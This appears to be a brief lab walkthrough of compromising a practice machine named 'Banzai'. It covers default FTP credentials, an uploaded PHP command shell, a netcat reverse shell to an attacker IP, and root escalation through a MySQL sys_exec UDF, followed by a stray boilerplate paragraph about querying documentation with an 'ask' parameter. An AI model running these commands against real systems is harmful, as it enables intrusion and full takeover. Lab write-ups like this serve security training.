# Banzai

### Enumeration

```
21/tcp   open   ftp        vsftpd 3.0.3
8295/tcp open   http       Apache httpd 2.4.25 ((Debian))
```

FTP -> admin:admin -> Webroot directory

<https://www.revshells.com/> - PHP cmd -> FTP Upload

### Initial Access

Execute this command on php cmd: `nc -e /bin/bash 192.168.49.153 8080`

### PrivEsc

```
www-data@banzai:/var/www$ cat config.php
cat config.php
<?php
define('DBHOST', '127.0.0.1');
define('DBUSER', 'root');
define('DBPASS', '[REDACTED]');
define('DBNAME', 'main');
```

mysql service is running with root privileges

```
$ cp /usr/share/metasploit-framework/data/exploits/mysql/lib_mysqludf_sys_64.so .
```

FTP Upload - this file.

```
www-data@banzai:/var/www$ mysql -u root -p

mysql> use mysql;
mysql> create table foo(line blob);
mysql> insert into foo values(load_file('/var/www/html/lib_mysqludf_sys_64.so'));
# Look for the value of plugin_dir
mysql> show variables like '%plugin%';
mysql> select * from foo into dumpfile '/usr/lib/mysql/plugin/lib_mysqludf_sys_64.so';
mysql> create function sys_exec returns integer soname 'lib_mysqludf_sys_64.so';
mysql> select * from mysql.func;
+----------+-----+------------------------+----------+
| name     | ret | dl                     | type     |
+----------+-----+------------------------+----------+
| sys_exec |   2 | lib_mysqludf_sys_64.so | function |
+----------+-----+------------------------+----------+
1 row in set (0.00 sec)

mysql> select sys_exec('nc -e /bin/bash 192.168.49.153 8080');
```


---

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Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
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```

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The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.